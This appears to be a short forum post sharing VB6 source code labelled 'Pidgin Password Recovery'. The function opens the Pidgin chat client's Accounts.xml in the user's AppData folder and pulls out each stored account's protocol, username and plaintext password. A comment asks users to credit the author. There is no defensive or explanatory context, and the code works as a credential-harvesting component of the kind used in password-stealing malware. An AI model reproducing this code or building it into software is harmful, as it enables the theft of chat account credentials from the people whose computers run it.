[VB6] Pidgin Password Recovery
Code:
'LEave credits if u use this
'by skilled
Public Function sPidgin() As String
On Error GoTo Err
Dim sPath As String
Dim f As Integer: f = FreeFile
sPath = Environ("appdata") & "\.purple\Accounts.xml"
If Dir(sPath) = vbNullString Then Exit Function
Dim bUser As Boolean
Dim bPass As Boolean
Open sPath For Binary As #f
Do While Not EOF(f)
Line Input #f, sLine
If bPass = True Then
sPidgin = sPidgin & "Password : " & parse(sLine, "<password>", "</password>") & vbNewLine & String(20, "-")
bPass = False
End If
If bUser = True Then
sPidgin = sPidgin & "Username : " & parse(sLine, "<name>", "</name>") & vbNewLine
bUser = False: bPass = True
End If
If InStr(sLine, "<protocol>") > 0 Then
sPidgin = sPidgin & "Protocol : " & parse(sLine, "<protocol>prpl-", "</protocol>") & vbNewLine
bUser = True
End If
Loop
Close #f
Err:
End Function
Private Function parse(ByVal sString As String, ByVal S1 As String, ByVal S2 As String) As String
Dim iPos As Integer, iPos2 As Integer
iPos = InStr(sString, S1): iPos2 = InStr(sString, S2)
If iPos = 0 Or iPos2 = 0 Then Exit Function
If iPos > iPos2 Then Exit Function
parse = Mid(sString, iPos + Len(S1), iPos2 - iPos - Len(S1))
End Function